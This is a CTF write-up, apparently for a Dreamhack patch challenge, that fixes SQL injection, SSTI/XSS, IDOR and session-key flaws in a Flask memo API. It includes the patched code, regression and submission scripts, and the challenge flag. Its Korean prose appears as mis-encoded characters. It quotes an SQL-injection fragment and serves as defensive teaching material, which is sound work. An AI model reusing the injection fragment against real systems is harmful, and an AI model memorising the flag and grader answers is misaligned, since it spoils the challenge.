์ด ๋ฌธ์ ์ ์ง์ง ๋์ด๋๋ ๊ธฐ๋ฒ์ด ์๋๋ผ ๊ฒฝ๊ณ์ ์ ์๋ค. ์ฑ์ ์๋ฒ๊ฐ ๋ฌด์์ ๊ฒ์ฌํ๋์ง ์ ์๋ ค ์ฃผ๊ธฐ ๋๋ฌธ์ด๋ค. ๋๋ฌด ์ ๊ฒ ๊ณ ์น๋ฉด ๊ณต๊ฒฉ ํ ์คํธ์์ ๋จ์ด์ง๊ณ , ๋๋ฌด ๋ง์ด ๊ณ ์น๋ฉด SLA ๊ฐ ๊นจ์ง๋ค.
ํนํ ๊ณ ๋ฏผํ ๊ฒ ์ ์ด์๋ค.
์ฒซ์งธ, memoView ์ ๋ก๊ทธ์ธยท์์ ์ ๊ฒ์ฌ๋ฅผ ๋ฃ์ ๊ฒ์ธ๊ฐ. ๋ฃ์ผ๋ฉด "๋จ์ ๋ฉ๋ชจ ์ด๋"๊น์ง ๋งํ์ง๋ง,
๋น๋ก๊ทธ์ธ ์กฐํ๋ฅผ ์ ์ ๊ธฐ๋ฅ์ผ๋ก ๋ณด๋ SLA ๊ฐ ์์ผ๋ฉด ๊ทธ๋๋ก ํ๋ฝ์ด๋ค. ๋ค๋ฅธ ๋ผ์ฐํธ๋ค์ ์ ๋ถ
if not session.get('uid') ๊ฐ๋ฅด๋๋ฅผ ๋ฌ๊ณ ์๋๋ฐ memoView ๋ง ์๋ค. ๋น ๋จ๋ฆฐ ๊ฒ ์๋๋ผ
๊ณต๊ฐ ์ฝ๊ธฐ๊ฐ ์๋๋ผ๊ณ ์ฝ์๋ค. ๊ทธ๋๋ก ๋๋ค.
๋์งธ, ๋น๋ฐ๋ฒํธ๋ฅผ ์ํธ ์๋ SHA-256 ์ผ๋ก ์ ์ฅํ๋ ๊ฒ. ์ด๊ฑด ๋ถ๋ช
์ฝํ์ง๋ง, ํด์ ๋ฐฉ์์ ๋ฐ๊พธ๋ฉด
๊ธฐ์กด users ํ์ ๊ฐ์ด ์ ๋ถ ๋ฌดํจ๊ฐ ๋์ด ๋ก๊ทธ์ธ์ด ํต์งธ๋ก ๊นจ์ง๋ค. ๋ง์ด๊ทธ๋ ์ด์
์์ด ๊ณ ์น ์
์๋ ์ข
๋ฅ๊ฐ ์๋๋ผ์ ๋๋ค.
์
์งธ, secret_key ๋ฅผ ์ง์ง ๋ฐ๊ฟ๋ ๋๋๊ฐ. os.urandom(32) ์ ํ๋ก์ธ์ค๊ฐ ๋ฐ ๋๋ง๋ค ๊ฐ์ด
๋ฌ๋ผ์ง๋ค. ์์ปค๊ฐ ์ฌ๋ฌ ๊ฐ๋ฉด ์ธ์
์ด ๊นจ์ง๋๋ฐ, run.py ๊ฐ threaded=True ๋ก ๋จ์ผ ํ๋ก์ธ์ค๋ฅผ
๋์ฐ๋ ๊ฑธ ํ์ธํ๊ณ ์์ผ ๋ฃ์๋ค. ์์ ๋ถ๊ฐ ํญ์ ์ฝ์ ๊ฒ ์ฌ๊ธฐ์ ๊ฐ์ ํ๋ค.
โถ๐ ์ฝ์ง 2 โ ์ค๋ณต ๊ฐ์ ์ด 500 ์ ๋ฑ๋๋ค
๊ธฐ๋ฅ ํ๊ท ํ ์คํธ๋ฅผ ๋ ๋ฒ์งธ ๋๋ ธ๋๋ ์๋ณธ ์ชฝ์์ JSON ํ์ฑ ์์ธ๊ฐ ํฐ์ก๋ค. ์์ธ์ ํ ์คํธ๊ฐ ์ฐ๋ ๊ณ์ ์ด ์ด๋ฏธ DB ์ ๋จ์ ์์๋ ๊ฒ.
schema.sql ์์ userid ๊ฐ ๊ธฐ๋ณธํค๋ผ ๊ฐ์ ์์ด๋๋ฅผ ๋ค์ ๋ฃ์ผ๋ฉด sqlite3.IntegrityError ๊ฐ
๋๋๋ฐ, join() ์ด ์ด๊ฑธ ์ก์ง ์์ ๊ทธ๋๋ก 500 ์ด ๋๋ค.
for p in 5000 5001; do printf "port %s -> HTTP " $p; curl -s -o /dev/null -w "%{http_code}\n" -X POST http://127.0.0.1:$p/api/join -d userid=guest -d password=x; done
๊ธฐ๋ณธํค๊ฐ ์์ผ๋ ๊ณ์ ํ์ทจ๊น์ง ๊ฐ์ง๋ ์๋๋ค. ๋ค๋ง ์ฒ๋ฆฌ๋์ง ์์ ์์ธ๋ก ์คํ ํธ๋ ์ด์ค๊ฐ
๋
ธ์ถ๋ ์ ์๊ณ , ๋ฌด์๋ณด๋ค ์ด๋ฐ ์ํ ์์กด ๋๋ฌธ์ ํ๊ท ํ
์คํธ ๊ฒฐ๊ณผ๋ฅผ ๋ชป ๋ฏฟ๊ฒ ๋๋ค. ํจ์น๋ณธ์
๊ฐ์
์ ์ ์กด์ฌ ์ฌ๋ถ๋ฅผ ํ์ธํด {"result":"error"} ๋ฅผ ๋๋ ค์ฃผ๋๋ก ํ๊ณ , ํ
์คํธ ์คํฌ๋ฆฝํธ์๋
"์๋ฒ๋ฅผ ์๋ก ๋์ฐ๊ณ ๋๋ฆด ๊ฒ"์ด๋ผ๋ ์กฐ๊ธฐ ์คํจ ๊ฐ๋ฅด๋๋ฅผ ๋ฃ์๋ค.
โถ๐ ์ฝ์ง 3 โ ์๋ ์ด์ค์ผ์ดํ ๊ธฐ๋ณธ๊ฐ์ ๋ฏฟ์ด๋ ๋๋
SSTI ๋ฅผ ๊ณ ์น๋ ์ ์์ ๊ฐ์ ํ ํ๋ฆฟ ์ธ์๋ก ๋๊ธฐ๋ ๊ฒ์ด๋ค. ๊ทธ๋ฌ๋ฉด XSS ๋ Jinja2 ์๋ ์ด์ค์ผ์ดํ๊ฐ ๋ง์ ์ค๋ค โ ์๋ ์ด์ค์ผ์ดํ๊ฐ ์ผ์ ธ ์๋ค๋ฉด.
render_template_string ์ ํ
ํ๋ฆฟ ์ด๋ฆ์ด ์์ผ๋ Flask ์ select_jinja_autoescape(None)
๋ฐํ๊ฐ์ ๋ฐ๋ฅธ๋ค. ์ง๊ธ Flask ๋ True ๋ฅผ ๋๋ ค์ฃผ์ง๋ง ์์ฃผ ์๋ ๋ฒ์ ์ False ์๋ค. ๋ฌธ์ ์๋ฒ์
requirements.txt ๋ ๋ฒ์ ๊ณ ์ ์์ด flask ํ ์ค์ด๋ผ ์ด๋ค ๋ฒ์ ์ด ๊น๋ฆด์ง ๋ชจ๋ฅธ๋ค.
์ด์ค์ผ์ดํ๋ฅผ ์ง์ ํ๋ ๋ฐฉ๋ฒ๋ ์๊ฐํด ๋ดค๋๋ฐ, markupsafe.escape ๋ &<>"' ๋ง ๋ฐ๊พธ๊ณ
์ค๊ดํธ๋ ๊ฑด๋๋ฆฌ์ง ์๋๋ค. ์ด์ค์ผ์ดํํ ๊ฐ์ ๋ค์ ํ
ํ๋ฆฟ ์์ค์ ๋ฐ์ผ๋ฉด SSTI ๋ ๊ทธ๋๋ก๋ค.
๊ฒฐ๊ตญ ๊ฐ์ ์ธ์๋ก ๋๊ธฐ๋, ํ๊ฒฝ์ ์์กดํ์ง ์๊ฒ app.jinja_env.autoescape = True ํ ์ค๋ก
๋ชป๋ฐ๋ ์ชฝ์ ํํ๋ค.
๐ฉน ํจ์น
์ฌ์ฏ ๊ณณ์ ๊ณ ์ณค๋ค. ์๋ต ํ์๊ณผ ํ๋ฆ์ ์๋ณธ ๊ทธ๋๋ก ๋๊ณ , ์๋๋ ์ค๋ง ์ต์๋ก ๋ฐ๊ฟจ๋ค.
| ์ง์ | ์๋ณธ | ํจ์น |
|---|---|---|
login | f-string ์ผ๋ก WHERE ์ ์กฐ๋ฆฝ | ํ๋ ์ด์คํ๋ ๋ฐ์ธ๋ฉ |
memoView | "... where idx=" + idx | int(idx) ๋ณํ ํ ๋ฐ์ธ๋ฉ |
memoView html | format() ๊ฒฐ๊ณผ๋ฅผ ๋ ๋๋ง | ํ ํ๋ฆฟ์ ์์, ๊ฐ์ ์ธ์ |
memoUpdate | ๋ก๊ทธ์ธ ์ฌ๋ถ๋ง ํ์ธ | ๋ฉ๋ชจ ์์ ์ ๋์กฐ ์ถ๊ฐ |
join | ์ค๋ณต ๊ฐ์ ์ 500 | ์กด์ฌ ํ์ธ ํ ์๋ฌ ์๋ต |
secret_key | ์์ค์ ๊ณ ์ ๋ฌธ์์ด | ํ๋ก์ธ์ค๋ง๋ค ์์ ๊ฐ |
โถ๐ app_patched.py โ ์ ์ถํ ํจ์น๋ณธ (์ ๋ฌธ)
#!/usr/bin/python3
from flask import Flask, request, render_template_string, g, session, jsonify
import sqlite3
import os, hashlib
app = Flask(__name__)
# [PATCH] ๋ฐฐํฌ ์์ค์ ๋ฐํ ์๋ ๊ณ ์ secret_key ๋ ๋๊ตฌ๋ ์ธ์
์ฟ ํค๋ฅผ ์์กฐํ ์ ์๋ค.
# ํ๋ก์ธ์ค๋ง๋ค ์์ ํค๋ฅผ ์ฐ๊ณ , ํ๊ฒฝ๋ณ์๋ก ๋ฎ์ด์ธ ์ ์๊ฒ๋ง ๋จ๊ธด๋ค.
app.secret_key = os.environ.get('SECRET_KEY') or os.urandom(32)
# [PATCH] Flask ๋ฒ์ ์ ๋ฐ๋ผ render_template_string ์ ์๋ ์ด์ค์ผ์ดํ ๊ธฐ๋ณธ๊ฐ์ด ๋ค๋ฅด๋ฏ๋ก ๋ชป๋ฐ๋๋ค.
app.jinja_env.autoescape = True
def get_db():
db = getattr(g, '_database', None)
if db is None:
db = g._database = sqlite3.connect(os.environ['DATABASE'])
db.row_factory = sqlite3.Row
return db
def query_db(query, args=(), one=False):
cur = get_db().execute(query, args)
rv = cur.fetchall()
cur.close()
return (rv[0] if rv else None) if one else rv
@app.teardown_appcontext
def close_connection(exception):
db = getattr(g, '_database', None)
if db is not None:
db.close()
@app.route('/')
def index():
return "api-server"
@app.route('/api/me')
def me():
if session.get('uid'):
return jsonify(userid=session['uid'])
return jsonify(userid=None)
@app.route('/api/login', methods=['POST'])
def login():
userid = request.form.get('userid', '')
password = request.form.get('password', '')
if userid and password:
# [PATCH] f-string ์กฐ๋ฆฝ -> ํ๋ ์ด์คํ๋ ๋ฐ์ธ๋ฉ. userid ์ ๋ฐ์ดํ๊ฐ ๊ตฌ๋ฌธ์ด ๋์ง ๋ชปํ๋ค.
ret = query_db("SELECT * FROM users where userid=? and password=?",
(userid, hashlib.sha256(password.encode()).hexdigest()), one=True)
if ret:
session['uid'] = ret[0]
return jsonify(result="success", userid=ret[0])
return jsonify(result="fail")
@app.route('/api/logout')
def logout():
session.pop('uid', None)
return jsonify(result="success")
@app.route('/api/join', methods=['POST'])
def join():
userid = request.form.get('userid', '')
password = request.form.get('password', '')
if userid and password:
conn = get_db()
# [PATCH] ์ค๋ณต ๊ฐ์
์ ๋ง๋๋ค. ๊ฐ์ userid ๋ฅผ ๋ค๋ฅธ ๋น๋ฐ๋ฒํธ๋ก ํ ๋ฒ ๋ ๋ฃ์ ์ ์์ผ๋ฉด
# ๊ณต๊ฒฉ์๊ฐ admin ํ์ ํ๋ ๋ ๋ง๋ค์ด admin ์ธ์
์ ๊ทธ๋๋ก ์ป๋๋ค.
if query_db("SELECT * FROM users where userid=?", (userid,), one=True):
return jsonify(result="error")
cur = conn.cursor()
cur.execute("Insert into users values(?, ?);", (userid, hashlib.sha256(password.encode()).hexdigest()))
conn.commit()
return jsonify(result="success")
return jsonify(result="error")
@app.route('/api/memo/add', methods=['PUT'])
def memoAdd():
if not session.get('uid'):
return jsonify(result="no login")
userid = session.get('uid')
title = request.form.get('title')
contents = request.form.get('contents')
if title and contents:
conn = get_db()
cur = conn.cursor()
ret = cur.execute("Insert into memo(userid, title, contents) values(?, ?, ?);", (userid, title, contents))
conn.commit()
return jsonify(result="success", memoidx=ret.lastrowid)
return jsonify(result="error")
@app.route('/api/memo/<idx>', methods=['GET'])
def memoView(idx):
mode = request.args.get('mode', 'json')
# [PATCH] ๋ฌธ์์ด ์ฐ๊ฒฐ -> ์ ์ ๋ณํ ํ ๋ฐ์ธ๋ฉ. ์ซ์๊ฐ ์๋๋ฉด ์ฟผ๋ฆฌ๋ฅผ ์์ ๋ง๋ค์ง ์๋๋ค.
try:
idx = int(idx)
except (TypeError, ValueError):
return jsonify(result="error")
rows = query_db("SELECT * FROM memo where idx=?", (idx,))
if not rows:
return jsonify(result="error")
ret = rows[0]
if ret:
userid = ret['userid']
title = ret['title']
contents = ret['contents']
if mode == 'html':
# [PATCH] ์ฌ์ฉ์ ์
๋ ฅ์ ํ
ํ๋ฆฟ "์์ค" ์ ์์ง ์๊ณ "์ธ์" ๋ก ๋๊ธด๋ค.
# ์ด๋์ผ {{ }} ๊ฐ ์ฝ๋๊ฐ ์๋ ๋ฌธ์์ด๋ก ๋จ๊ณ , ์๋ ์ด์ค์ผ์ดํ๋ ๊ฑธ๋ฆฐ๋ค.
template = ''' Written by {{ userid }}<h3>{{ title }}</h3>
<pre>{{ contents }}</pre>
'''
return render_template_string(template, title=title, userid=userid, contents=contents)
else:
return jsonify(result="success",
userid=userid,
title=title,
contents=contents)
return jsonify(result="error")
@app.route('/api/memo/<int:idx>', methods=['PUT'])
def memoUpdate(idx):
if not session.get('uid'):
return jsonify(result="no login")
ret = query_db('SELECT * FROM memo where idx=?', [idx,], one=True)
userid = session.get('uid')
title = request.form.get('title')
contents = request.form.get('contents')
# [PATCH] ๋ก๊ทธ์ธ ์ฌ๋ถ๋ง ๋ณด๋ ์๋ฆฌ์ ์์ ์ ํ์ธ์ ๋ฃ๋๋ค.
if ret and ret['userid'] != userid:
return jsonify(result="error")
if ret and title and contents:
conn = get_db()
cur = conn.cursor()
updateRet = cur.execute("UPDATE memo SET title=?, contents=? WHERE idx=?",(title, contents, idx))
conn.commit()
if updateRet:
return jsonify(result="success")
return jsonify(result="error")memoView ์์ int(idx) ๋ก ๋ฐ๊พผ ๊ฑด ๋ฐ์ธ๋ฉ๋ง์ผ๋ก๋ ์ธ์ ์
์ ๋งํ์ง๋ง ํ ๊ฒน ๋ ๋๋ฅธ ๊ฒ์ด๋ค.
์ซ์๊ฐ ์๋๋ฉด ์ฟผ๋ฆฌ๋ฅผ ์์ ๋ง๋ค์ง ์๋๋ค. ์๋ณธ์ด ์๋ ๋ฉ๋ชจ๋ฅผ ์กฐํํ๋ฉด [0] ์์
IndexError ๋ก 500 ์ด ๋๋ ๊ฒ๋ ๊ฐ์ด ์ ๋ฆฌํด ์๋ฌ JSON ์ ๋๋ ค์ฃผ๊ฒ ํ๋ค.
โ ๊ฒ์ฆ โ ๊ณต๊ฒฉ์ ๋ง๊ณ , ๊ธฐ๋ฅ์ ๊ทธ๋๋ก
๋จผ์ ๊ฐ์ ์ ๊ฒ๊ธฐ๋ฅผ ํจ์น๋ณธ(5001๋ฒ)์ ๋์ง๋ค.
python3 exploit.py http://127.0.0.1:5001
์ฌ์ฏ ๊ฑด ๋ชจ๋ SAFE. IDOR ํญ๋ชฉ์ ๊ทผ๊ฑฐ ์ค์ ๋ณด๋ฉด admin ๋ฉ๋ชจ์ ๋ด์ฉ์ด ๋ฎ์ด์จ์ง์ง ์๊ณ ์๋ ๊ฐ ๊ทธ๋๋ก๋ค.
์ฌ๊ธฐ์ ๋๋ด๋ฉด ์ ๋ฐ์ด๋ค. SLA ๊ฐ ์์ผ๋ ์ ์ ์์ฒญ์ ์๋ต์ด ์์ ๊ณผ ๊ฐ์์ง๋ฅผ ๋ฐ๋ก ๋ด์ผ ํ๋ค. ๊ฐ์ ๋ถํฐ ๋ก๊ทธ์์๊น์ง ์ด๋ ๋จ๊ณ๋ฅผ ์๋ณธ๊ณผ ํจ์น๋ณธ์ ๋๊ฐ์ด ๋์ ธ ์๋ต์ ๋๋ํ ๋น๊ตํ๋ค.
# functest.py โ ์ ์ ๊ธฐ๋ฅ ํ๊ท ํ
์คํธ
import html as htmllib
import sys
import requests
A = sys.argv[1].rstrip("/")
B = sys.argv[2].rstrip("/")
def scenario(base):
"""๊ฐ์
-> ๋ก๊ทธ์ธ -> ๋ฉ๋ชจ ์์ฑ -> ์กฐํ(json/html) -> ์์ -> ๋ก๊ทธ์์ ์ ๊ณผ์ .
โ
๋ ์๋ฒ๋ฅผ ๊ฐ ๋์ด ์ํ์์ ๋๋ฆฐ๋ค(local/serve.sh ๊ฐ ๊ธฐ๋ํ ๋๋ง๋ค DB๋ฅผ ์๋ก ๋ง๋ ๋ค).
alice ๊ฐ ์ด๋ฏธ ์์ผ๋ฉด ์๋ณธ app.py ๋ users PK ์ถฉ๋๋ก 500 ์ ๋ฑ์ด ๋น๊ต๊ฐ ์ด๊ธ๋๋ค.
"""
s = requests.Session()
out = []
r0 = s.post(f"{base}/api/join", data={"userid": "alice", "password": "pw1234"})
if r0.status_code != 200:
sys.exit(f"[!] {base} /api/join ์ด HTTP {r0.status_code} โ ์๋ฒ๋ฅผ ์๋ก ๋์ฐ๊ณ ๋ค์ ๋๋ฆด ๊ฒ")
out.append(("join", r0.json()))
out.append(("login-wrong", s.post(f"{base}/api/login",
data={"userid": "alice", "password": "nope"}).json()))
out.append(("login", s.post(f"{base}/api/login",
data={"userid": "alice", "password": "pw1234"}).json()))
out.append(("me", s.get(f"{base}/api/me").json()))
add = s.put(f"{base}/api/memo/add",
data={"title": "ํ์๋ก", "contents": "3์์ <๋ค์> ๋ชจ์ด๊ธฐ"}).json()
idx = add.pop("memoidx")
out.append(("memo-add", add))
out.append(("memo-json", s.get(f"{base}/api/memo/{idx}").json()))
out.append(("memo-html", s.get(f"{base}/api/memo/{idx}?mode=html").text.strip()))
out.append(("memo-update", s.put(f"{base}/api/memo/{idx}",
data={"title": "ํ์๋ก2", "contents": "4์๋ก ๋ณ๊ฒฝ"}).json()))
out.append(("memo-json2", s.get(f"{base}/api/memo/{idx}").json()))
out.append(("memo-add-nologin", requests.put(f"{base}/api/memo/add",
data={"title": "x", "contents": "y"}).json()))
out.append(("logout", s.get(f"{base}/api/logout").json()))
out.append(("me-after", s.get(f"{base}/api/me").json()))
return out
ra, rb = scenario(A), scenario(B)
bad = 0
print(f"{'๋จ๊ณ':<18}{'์๋ณธ == ํจ์น๋ณธ':<14}๊ฐ")
print("-" * 78)
for (na, va), (nb, vb) in zip(ra, rb):
same = va == vb
note = ""
# html ๋ชจ๋๋ XSS ํจ์น ๋๋ฌธ์ <, > ๊ฐ ์ํฐํฐ๋ก ๋ฐ๋๋ค. ๋๋๋ ค์ ๊ฐ์ผ๋ฉด ์๋๋ ์ฐจ์ด๋ค.
if not same and na == "memo-html" and htmllib.unescape(vb) == va:
same, note = True, " (์ด์ค์ผ์ดํ๋ง ๋ค๋ฆ = ํจ์น ์๋)"
bad += 0 if same else 1
shown = str(va).replace("\n", " ")
print(f"{na:<18}{'OK' if same else '๋ค๋ฆ':<14}{shown[:52]}{note}")
if not same:
print(f"{'':<32}ํจ์น๋ณธ: {str(vb)[:52]}")
print("-" * 78)
print(f"๋ถ์ผ์น {bad}๊ฑด / {len(ra)}๋จ๊ณ")
sys.exit(1 if bad else 0)python3 functest.py http://127.0.0.1:5000 http://127.0.0.1:5001
์ด๋ ๋จ๊ณ ์ค ์ ์ผํ๊ฒ ๊ฐ์ด ๋ฌ๋ผ์ง ๊ฑด memo-html ์ด๋ค. ๊ทธ๊ฑด <๋ค์> ๊ฐ <๋ค์> ๋ก
๋ฐ๋ ๊ฒ์ด๋ผ ์ ํํ XSS ํจ์น์ ๊ฒฐ๊ณผ๋ค. ์ํฐํฐ๋ฅผ ๋๋๋ฆฌ๋ฉด ์๋ณธ๊ณผ ๊ฐ์์ง๋ฏ๋ก ์๋๋ ์ฐจ์ด๋ก
ํ์ํ๊ฒ ํ๋ค.
๐ ์ ์ถ โ Submit ๋ฒํผ์ 3๋จ๊ณ๋ค
ํ์ด์ง์ Submit ๋ฒํผ์ด ํ๋ ์ผ์ ์ฝ์ด ๋ณด๋ฉด ๋จ์ํ๋ค. contenteditable ์ธ <pre> ์
innerText ๋ฅผ UTF-8 ๋ก ์ธ์ฝ๋ฉํด base64 ๋ก ์ค์ด ๋ณด๋ธ๋ค.
$("[contenteditable]").each(function(index, item){
var element = document.createElement("input");
element.name = item.getAttribute("filename"); // "app.py"
element.value = btoa(unescape(encodeURIComponent(item.innerText)));
element.type = "hidden";
form.appendChild(element);
});
form.action = "/check"; form.method = "POST";์ฌ๊ธฐ์ ํ ๋ฒ ๊ฑธ๋ ธ๋ค. /check ๋ก ๋ณด๋ด๋ฉด ์๋ณธ๊ณผ์ diff ๋ฅผ ๋ณด์ฌ์ฃผ๋ ํ์ธ ํ๋ฉด์ด ๋์ฌ ๋ฟ,
์ฑ์ ์ ์์๋์ง ์๋๋ค. ๊ทธ ํ๋ฉด์ Continue ๋ฒํผ์ด ๊ฐ์ base64 ๋ฅผ /run ์ผ๋ก ๋ค์ ๋ณด๋ด์ผ
๋น๋ก์ ์ฑ์ ์ด ๋๋ค. ๊ฒ๋ค๊ฐ ๊ฒฐ๊ณผ๋ ๋น๋๊ธฐ๋ผ /result/<uuid> ๊ฐ ํ๋์ process... ๋ง ์ฐ๊ณ ,
๊ทธ ํ์ด์ง๋ฅผ ๋ณด๋ ค๋ฉด ์ ๋จ๊ณ์ ์ฟ ํค๋ฅผ ๋ค๊ณ ๊ฐ์ผ ํ๋ค.
๋ธ๋ผ์ฐ์ ์์ ๊ทธ๋๋ก ํด ๋ณด๋ฉด ์ด๋ ๋ค. ํธ์ง ์์ญ์ ํจ์น๋ณธ์ผ๋ก ๋ฐ๊พธ๊ณ ,

Submit ์ ๋๋ฅด๋ฉด ์๋ณธ๊ณผ์ diff ๋ฅผ ๋ณด์ฌ์ค๋ค.

์ด ํ๋ฆ์ ๊ทธ๋๋ก ์ฎ๊ธด ๊ฒ ์๋ ์คํฌ๋ฆฝํธ๋ค.
#!/usr/bin/env python3
"""ํจ์น๋ณธ app.py ๋ฅผ ์ฑ์ ์๋ฒ์ ์ฌ๋ฆฌ๊ณ ํ์ ์ด ๋์ฌ ๋๊น์ง ๊ธฐ๋ค๋ฆฐ๋ค.
POST /check <- ํ์ด์ง์ Submit ๋ฒํผ. ์๋ณธ๊ณผ์ diff ๋ฅผ ๋ณด์ฌ์ฃผ๋ ํ์ธ ํ๋ฉด
POST /run <- ๊ทธ ํ๋ฉด์ Continue ๋ฒํผ. ์ฌ๊ธฐ์ ์ค์ ์ฑ์ ์ด ์์๋๋ค
GET /result/<uuid> <- ๋น๋๊ธฐ๋ผ ์ฒ์์ 'process...' ๋ง ๋์จ๋ค. ๋๋ ๋๊น์ง ํด๋ง
"""
import base64
import html
import re
import sys
import time
import requests
BASE = sys.argv[1].rstrip("/")
SRC = sys.argv[2] if len(sys.argv) > 2 else "app_patched.py"
def totext(page, cut="Input Code"):
body = page[page.find("</nav>"):]
end = body.find(cut)
if end > 0:
body = body[:end]
body = re.sub(r"<script[\s\S]*?</script>", "", body)
text = html.unescape(re.sub(r"<[^>]+>", "\n", body))
return "\n".join(l.rstrip() for l in text.splitlines() if l.strip())
code = open(SRC, "rb").read()
payload = base64.b64encode(code).decode()
print(f"[*] {SRC} {len(code)} bytes -> base64 {len(payload)} chars")
sess = requests.Session()
r = sess.post(f"{BASE}/check", data={"app.py": payload}, timeout=60)
print(f"[*] POST /check -> HTTP {r.status_code} (์๋ณธ๊ณผ์ diff ํ์ธ ํ๋ฉด)")
m = re.search(r'name="app\.py"\s+value="([^"]+)"', r.text)
if not m:
print("[!] Continue ํผ์ hidden input ์ ๋ชป ์ฐพ์๋ค:")
print(totext(r.text)[:800])
sys.exit(2)
r = sess.post(f"{BASE}/run", data={"app.py": m.group(1)}, timeout=300)
run_url = r.url
print(f"[*] POST /run -> HTTP {r.status_code} {run_url}")
for i in range(40):
out = totext(sess.get(run_url, timeout=30).text)
if "process" not in out.lower():
print("\n=== ์ฑ์ ๊ฒฐ๊ณผ ===")
print(out)
break
print(f" [{i:02d}] ์ฑ์ ์ค...")
time.sleep(5)
else:
print("[!] ์๊ฐ ๋ด์ ์ฑ์ ์ด ๋๋์ง ์์๋ค")python3 submit.py http://host3.dreamhack.games:18666 app_patched.py
๋ธ๋ผ์ฐ์ ๋ก ๋๋ฌ๋ ๊ฐ์ ๊ฒฐ๊ณผ๊ฐ ๋์จ๋ค.

ALL PASS. ์ฒซ ์ ์ถ์์ ๊ณต๊ฒฉ ํ
์คํธ์ SLA ๋ฅผ ํ ๋ฒ์ ํต๊ณผํ๋ค.
=== ์ฑ์ ๊ฒฐ๊ณผ ===
Result - 5b49f279-5bf6-4fcd-8218-f6da43cd2913
ALL PASS
Flag is DH{7e07d530518d7983c066a7019b6cf027}๐ ์ฌํ
๋ผ์ด๋ธ ์ธ์คํด์ค๋ ์๊ฐ์ด ์ง๋๋ฉด ์ฌ๋ผ์ง๋, ์คํ๋ผ์ธ๋ง์ผ๋ก๋ ๊ฒ์ฆ์ด ๋๋๊ฒ ๋ฌถ์ด ๋๋ค. ์๋ฒ ์ฃผ์๋ฅผ ์ฃผ๋ฉด ์ ์ถ๊น์ง ์ด์ด์ ์ค์ flag ์ ๋์กฐํ๋ค.
#!/usr/bin/env bash
# PATCH-1 โ ํ ๋ฐฉ ์ฌํ.
#
# ./reproduce.sh # ์คํ๋ผ์ธ ๊ฒ์ฆ๊น์ง
# ./reproduce.sh http://host3.dreamhack.games:PORT # + ๋ผ์ด๋ธ ์ฑ์ ์๋ฒ ์ ์ถ
set -u
cd "$(dirname "$(readlink -f "$0")")"
EXPECT='DH{7e07d530518d7983c066a7019b6cf027}'
LIVE="${1:-}"
PORT_A=5000
PORT_B=5001
PIDS=()
cleanup() { for p in "${PIDS[@]:-}"; do [ -n "$p" ] && kill "$p" 2>/dev/null; done; }
trap cleanup EXIT
start() { # start <app.py> <port>
DATABASE="$PWD/local/repro_$2.db" \
python3 local/init_db.py "$PWD/local/repro_$2.db" >/dev/null
DATABASE="$PWD/local/repro_$2.db" \
python3 -m flask --app "$1" run --host 127.0.0.1 --port "$2" >"/tmp/patch1_repro_$2.log" 2>&1 &
PIDS+=($!)
}
echo "== ๋ก์ปฌ ์๋ฒ ๊ธฐ๋ (์๋ณธ :$PORT_A / ํจ์น๋ณธ :$PORT_B)"
start extracted/app.py "$PORT_A"
start app_patched.py "$PORT_B"
for _ in $(seq 30); do
curl -sf "http://127.0.0.1:$PORT_B/" >/dev/null 2>&1 && break
sleep 0.5
done
OUT_A=$(python3 exploit.py "http://127.0.0.1:$PORT_A" 2>&1)
VULN_A=$(printf '%s' "$OUT_A" | grep -oE '์ทจ์ฝ [0-9]+๊ฑด' | grep -oE '[0-9]+')
OUT_B=$(python3 exploit.py "http://127.0.0.1:$PORT_B" 2>&1)
VULN_B=$(printf '%s' "$OUT_B" | grep -oE '์ทจ์ฝ [0-9]+๊ฑด' | grep -oE '[0-9]+')
OUT_F=$(python3 functest.py "http://127.0.0.1:$PORT_A" "http://127.0.0.1:$PORT_B" 2>&1)
DIFF_F=$(printf '%s' "$OUT_F" | grep -oE '๋ถ์ผ์น [0-9]+๊ฑด' | grep -oE '[0-9]+')
OK=1
[ "${VULN_A:-0}" = "6" ] || { echo "โ ์๋ณธ์์ 6๊ฑด์ด ์ ๋์๋ค (${VULN_A:-?})"; OK=0; }
[ "${VULN_B:-9}" = "0" ] || { echo "โ ํจ์น๋ณธ์ด ์์ง ๋ซ๋ฆฐ๋ค (${VULN_B:-?})"; OK=0; }
[ "${DIFF_F:-9}" = "0" ] || { echo "โ ๊ธฐ๋ฅ์ด ๊นจ์ก๋ค (๋ถ์ผ์น ${DIFF_F:-?}๊ฑด)"; OK=0; }
if [ -n "$LIVE" ]; then
OUT_S=$(timeout 400 python3 submit.py "$LIVE" app_patched.py 2>&1)
FLAG=$(printf '%s' "$OUT_S" | grep -aoE 'DH\{[^}]+\}' | head -1)
[ "$FLAG" = "$EXPECT" ] || { echo "โ FAIL (์ป์ ๊ฐ: '${FLAG:-์์}')"; exit 1; }
echo "โ
PASS $FLAG"; exit 0
fi
[ "$OK" = "1" ] && { echo "โ
PASS ์คํ๋ผ์ธ ๊ฒ์ฆ ํต๊ณผ"; exit 0; }
echo "โ FAIL"; exit 1๋ก์ปฌ ํ๊ฒฝ์ Ubuntu(์ปค๋ 6.17) ยท Python 3.13.7 ยท Flask 3.1.3 ยท Jinja2 3.1.6 ์ด์๋ค.
๋ฌธ์ ์๋ฒ๋ requirements.txt ๊ฐ flask ํ ์ค์ด๋ผ ๋ฒ์ ์ด ๋ค๋ฅผ ์ ์๋๋ฐ, ํจ์น๋ ๋ฒ์ ์
์์กดํ์ง ์๊ฒ ์งฐ๋ค(์ฝ์ง 3 ์ฐธ๊ณ ).
๐ ๊ฒฐ๋ก
์ทจ์ฝ์ ์ ์๋ ๊ฒ๊ณผ ๊ณ ์น๋ ๊ฒ์ ๋ค๋ฅธ ์ผ์ด๋ค
SQLi ๋ฅผ ์๋ค๋ ๊ฑด admin' -- ๋ฅผ ๋ฃ์ ์ค ์๋ค๋ ๋ป์ด๊ธฐ๋ ํ๊ณ , ๋ฌธ์์ด ์ฐ๊ฒฐ์ ํ๋ ์ด์คํ๋๋ก
๋ฐ๊ฟ ์ค ์๋ค๋ ๋ป์ด๊ธฐ๋ ํ๋ค. ์ด ๋ฌธ์ ๋ ํ์๋ง ์ฑ์ ํ๋ค. ๊ทธ๋ฆฌ๊ณ ๊ณ ์น๋ ์ชฝ์๋ ๊ณต๊ฒฉ์๋ ์๋
์ ์ฝ์ด ํ๋ ๋ ๋ถ๋๋ค. ๋ฉ์ฉกํ ์์ฒญ์ ๊นจ๋จ๋ฆฌ๋ฉด ์ ๋๋ค๋ ๊ฒ.
SSTI ๋ "ํ ํ๋ฆฟ ์์ค์ ๋ฌด์์ด ๋ค์ด๊ฐ๋๊ฐ"์ ๋ฌธ์ ๋ค
